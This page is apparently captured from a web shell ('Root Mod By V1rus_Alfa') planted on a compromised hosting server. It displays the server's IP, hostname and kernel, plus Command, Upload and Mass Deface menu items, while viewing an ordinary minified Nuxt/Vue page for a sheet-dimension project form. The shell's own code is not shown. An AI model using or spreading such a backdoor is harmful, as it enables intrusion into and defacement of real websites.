���Root Mod By V1rus_Alfa
User / IP
:
216.73.217.78
Host / Server
:
195.214.235.115 / npln.ir
System
:
Linux damavand.pws-dns.net 5.14.0-503.35.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 4 05:23:43 EDT 2025 x86_64
Command
|
Upload
|
Mass Deface
|
Create
:
/
home2
/
cutunixc
/
.trash
/
.output
/
public
/
_nuxt
/
Viewing: DTXY6XYt.js
import{u as H,_ as J}from"./Bk3PtmvI.js";import{_ as E}from"./eQviZWxx.js";import{_ as L,m as G,Y as W,l as U,q as F,s as X,v as q,r as M,Z as Y,R as O,$ as Z,a0 as K,y as Q,z as ee,A as te,o as R,c as A,a as n,D as se,F as ae,E as T,a1 as le,h as oe,u as ne,a2 as ie,O as re,i as ue,P as de,t as g,k as o,b as f,w as k,X as N,n as $,S as ce}from"./Bkw0duvu.js";import{_ as fe}from"./CUMU2X6l.js";import{_ as me}from"./DIw30OlD.js";import{u as D}from"./4QFFUPoZ.js";import"./CeT3hz8W.js";import"./yDnVNt26.js";import"./MkS-KXZ9.js";const _=G(U.ui.strategy,U.ui.textarea,W),pe=F({inheritAttrs:!1,props:{modelValue:{type:[String,Number],default:""},id:{type:String,default:null},name:{type:String,default:null},placeholder:{type:String,default:null},required:{type:Boolean,default:!1},disabled:{type:Boolean,default:!1},rows:{type:Number,default:3},maxrows:{type:Number,default:0},autoresize:{type:Boolean,default:!1},autofocus:{type:Boolean,default:!1},autofocusDelay:{type:Number,default:100},resize:{type:Boolean,default:!1},padded:{type:Boolean,default:!0},size:{type:String,default:null,validator(e){return Object.keys(_.size).includes(e)}},color:{type:String,default:()=>_.default.color,validator(e){return[...U.ui.colors,...Object.keys(_.color)].includes(e)}},variant:{type:String,default:()=>_.default.variant,validator(e){return[...Object.keys(_.variant),...Object.values(_.color).flatMap(t=>Object.keys(t))].includes(e)}},textareaClass:{type:String,default:null},class:{type:[String,Object,Array],default:()=>""},ui:{type:Object,default:()=>({})},modelModifiers:{type:Object,default:()=>({})}},emits:["update:modelValue","blur","change"],setup(e,{emit:t}){const{ui:u,attrs:C}=X("textarea",q(e,"ui"),_,q(e,"class")),{emitFormBlur:j,emitFormInput:c,inputId:m,color:S,size:b,name:w}=H(e,_),h=M(Y({},e.modelModifiers,{trim:!1,lazy:!1,number:!1})),p=M(null),a=()=>{var l;e.autofocus&&((l=p.value)==null||l.focus())},x=()=>{if(e.autoresize){if(!p.value)return;p.value.rows=e.rows;const l=window.getComputedStyle(p.value),r=parseInt(l.paddingTop),y=parseInt(l.paddingBottom),z=r+y,i=parseInt(l.lineHeight),{scrollHeight:P}=p.value,I=(P-z)/i;I>e.rows&&(p.value.rows=e.maxrows?Math.min(I,e.maxrows):I)}},v=l=>{h.value.trim&&(l=l.trim()),h.value.number&&(l=le(l)),t("update:modelValue",l),c()},d=l=>{x(),h.value.lazy||v(l.target.value)},s=l=>{const r=l.target.value;t("change",r),h.value.lazy&&v(r),h.value.trim&&(l.target.value=r.trim())},B=l=>{t("blur",l),j()};O(()=>{setTimeout(()=>{a()},e.autofocusDelay)}),Z(()=>e.modelValue,()=>{K(x)}),O(()=>{setTimeout(()=>{a(),x()},100)});const V=Q(()=>{var r,y;const l=((y=(r=u.value.color)==null?void 0:r[S.value])==null?void 0:y[e.variant])||u.value.variant[e.variant];return ee(te(u.value.base,u.value.form,u.value.rounded,u.value.placeholder,u.value.size[b.value],e.padded?u.value.padding[b.value]:"p-0",l==null?void 0:l.replaceAll("{color}",S.value),!e.resize&&"resize-none"),e.textareaClass)});return{ui:u,attrs:C,name:w,inputId:m,textarea:p,textareaClass:V,onInput:d,onChange:s,onBlur:B}}}),ge=["id","value","name","rows","required","disabled","placeholder"];function _e(e,t,u,C,j,c){return R(),A("div",{class:T(e.ui.wrapper)},[n("textarea",se({id:e.inputId,ref:"textarea",value:e.modelValue,name:e.name,rows:e.rows,required:e.required,disabled:e.disabled,placeholder:e.placeholder,class:e.textareaClass},e.attrs,{onInput:t[0]||(t[0]=(...m)=>e.onInput&&e.onInput(...m)),onBlur:t[1]||(t[1]=(...m)=>e.onBlur&&e.onBlur(...m)),onChange:t[2]||(t[2]=(...m)=>e.onChange&&e.onChange(...m))}),null,16,ge),ae(e.$slots,"default")],2)}const he=L(pe,[["render",_e]]),ve={class:"w-[95%] mx-auto lg:w-10/12 min-h-[60vh] flex justify-center items-center"},ye=["dir"],be={class:"w-full flex flex-col justify-start items-start"},we={class:"block text-sm text-right bold text-black mb-3"},xe={class:"w-full flex flex-col justify-start items-start"},ke={class:"block text-sm text-right bold text-black mb-3"},Ce={class:"w-full flex flex-col justify-start items-start"},je={class:"block text-sm text-right bold text-black mb-3"},Se={class:"w-full flex flex-col justify-start items-start"},Ve={class:"block text-sm text-right bold text-black mb-3"},Be={class:"w-full"},ze={class:"block px-2 text-sm"},Ie={class:"modal-content-container p-2 px-4"},$e={class:"w-full mb-8"},Ue={class:"mb-8 relative mx-auto w-full"},Me={class:"w-full px-3 flex justify-between"},Oe={class:"w-full flex flex-wrap justify-start items-center"},Te={class:"block px-2 text-sm"},qe={class:"block px-2 text-sm"},Le=F({__name:"start",setup(e){const{t,locale:u}=oe();ne({title:t("Start")});const C=ie(),j=u.value==="en"?"ltr":"rtl";let c=M(!1);const m=D("projects"),S=D("sheets"),b=re(),w=ue(),h=[{name:t("Single"),value:"single"},{name:t("Double"),value:"double"}],p=[{name:t("1 Mile"),value:"1"},{name:t("2 Mile"),value:"2"}],a=de({loading_category:!1,loading_settings:!1,loading_dimensions:!1,name:"",width_strip:"1",height_strip:"single",description:""});O(async()=>{const d=await m.getItem("new");if(d){const s=await JSON.parse(d);s&&(a.name=s.name,a.description=s.description,a.height_strip=s.height_strip,a.width_strip=s.width_strip)}});const x=()=>{c.value=!1,C.push("/analyze/dimensions")},v=async d=>{if(!a.name)return b.add({title:t("Project name feild is required"),color:"orange"});if(await m.setItem("new",JSON.stringify({name:a.name,description:a.description,width_strip:a.width_strip,height_strip:a.height_strip})),d=="category")return await S.getItem("new")?(a.loading_category=!0,$(w("/analyze/category"))):b.add({title:t("First, complete the section on the dimensions of the sheets to be used"),color:"orange"});if(d=="settings")return a.loading_settings=!0,$(w("/setting"));if(d=="dimensions")return a.loading_dimensions=!0,$(w("/analyze/dimensions"))};return(d,s)=>{const B=J,V=E,l=he,r=ce,y=fe,z=me;return R(),A("div",ve,[n("div",{dir:d.$i18n.locale=="en"?"ltr":"rtl",class:"w-full border rounded-xl gap-5 flex justify-start !pt-4 items-center flex-col border-black p-2 h-[35rem]"},[n("div",be,[n("label",we,g(o(t)("project name"))+" : ",1),f(B,{modelValue:o(a).name,"onUpdate:modelValue":s[0]||(s[0]=i=>o(a).name=i),variant:"outline",class:"w-full",inputClass:" w-full !h-10 bg-gray-50 !shadow-none focus:ring-1 rounded-lg focus:ring-orange-600 py-0 text-xs"},null,8,["modelValue"])]),n("div",xe,[n("label",ke,g(o(t)("Width Strip"))+" : ",1),f(V,{options:p,"option-attribute":"name",class:"w-full",selectClass:" w-full !h-10 bg-gray-50 !shadow-none focus:ring-1 rounded-lg focus:ring-orange-600 py-0 text-xs",modelValue:o(a).width_strip,"onUpdate:modelValue":s[1]||(s[1]=i=>o(a).width_strip=i)},null,8,["modelValue"])]),n("div",Ce,[n("label",je,g(o(t)("Thickness Strip"))+" : ",1),f(V,{options:h,"option-attribute":"name",class:"w-full",selectClass:" w-full !h-10 bg-gray-50 !shadow-none focus:ring-1 rounded-lg focus:ring-orange-600 py-0 text-xs",modelValue:o(a).height_strip,"onUpdate:modelValue":s[2]||(s[2]=i=>o(a).height_strip=i)},null,8,["modelValue"])]),n("div",Se,[n("label",Ve,g(o(t)("description"))+" : ",1),f(l,{modelValue:o(a).description,"onUpdate:modelValue":s[3]||(s[3]=i=>o(a).description=i),variant:"outline",rows:4,class:"w-full",textareaClass:"py-2 bg-gray-50 !shadow-none focus:ring-1 rounded-lg focus:ring-orange-600 text-xs"},null,8,["modelValue"])]),n("div",Be,[f(r,{square:"",loading:o(a).loading_category,onClick:s[4]||(s[4]=i=>N(c)?c.value=!0:c=!0),class:"w-full flex px-2 h-10 text-black rounded-lg hover:bg-yellow-500 bg-[#f7941d] items-center justify-center"},{default:k(()=>[n("span",ze,g(o(t)("ChooseUnit")),1)]),_:1},8,["loading"]),f(z,{modelValue:o(c),"onUpdate:modelValue":s[6]||(s[6]=i=>N(c)?c.value=i:c=i),dir:o(j)},{default:k(()=>[f(y,{ui:{ring:"",divide:"divide-y divide-gray-100 dark:divide-gray-800"}},{default:k(()=>[n("div",Ie,[n("div",$e,[n("div",Ue,[n("h3",null,g(o(t)("are_you_sure_of_the_dimensions_of_your_used_sheets")),1)]),n("div",Me,[f(r,{color:"green",variant:"solid",label:o(t)("yes"),icon:"i-heroicons-check",onClick:s[5]||(s[5]=i=>v("category"))},null,8,["label"]),f(r,{color:"red",variant:"solid",label:o(t)("no"),icon:"i-heroicons-x-mark-20-solid",onClick:x},null,8,["label"])])])])]),_:1})]),_:1},8,["modelValue","dir"])]),n("div",Oe,[n("div",{class:T([d.$i18n.locale=="en"?"pr-2":"pl-2","w-6/12"])},[f(r,{square:"",loading:o(a).loading_settings,onClick:s[7]||(s[7]=i=>v("settings")),class:"w-full flex px-2 h-9 text-black rounded-lg hover:bg-gray-300 bg-gray-200 items-center justify-center"},{default:k(()=>[n("span",Te,g(o(t)("SettingsStart")),1)]),_:1},8,["loading"])],2),n("div",{class:T([d.$i18n.locale=="en"?"pl-2":"pr-2","w-6/12"])},[f(r,{square:"",loading:o(a).loading_dimensions,onClick:s[8]||(s[8]=i=>v("dimensions")),class:"w-full flex px-2 h-9 text-black rounded-lg hover:bg-gray-300 bg-gray-200 items-center justify-center"},{default:k(()=>[n("span",qe,g(o(t)("Dimensions")),1)]),_:1},8,["loading"])],2)])],8,ye)])}}});export{Le as default};
Coded With 💗 by
0x6ick Mod By V1rus_Alfa